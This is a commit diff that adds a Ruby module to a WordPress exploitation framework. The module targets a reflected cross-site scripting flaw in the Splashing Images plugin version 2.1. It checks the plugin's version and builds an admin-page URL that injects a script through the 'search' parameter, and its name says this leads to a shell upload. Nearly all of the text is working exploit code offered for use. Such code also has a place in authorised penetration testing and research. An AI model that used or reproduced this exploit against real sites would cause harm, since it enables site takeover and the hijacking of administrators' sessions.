Add splashing images reflected xss shell upload

Author: phyushin

modules/exploits/splashing_images_reflected_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::SplashingImagesReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Splashing Imagges 2.1 Reflected XSS',
+      author: [
+        'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '9016'],
+        ['URL', 'https://packetstormsecurity.com/files/146109/']
+      ],
+      date: 'Jan 26 2018'
+    )
+  end
+
+  def check
+    readme = normalize_uri(wordpress_url_plugins, 'wp-splashing-images', 'README.txt')
+    check_version_from_custom_file(readme, /Stable tag:\s(\d\.\d(\.\d)*)/, '2.1.1')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'upload.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=wp-splashing&search=%22%3E%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
+  end
+end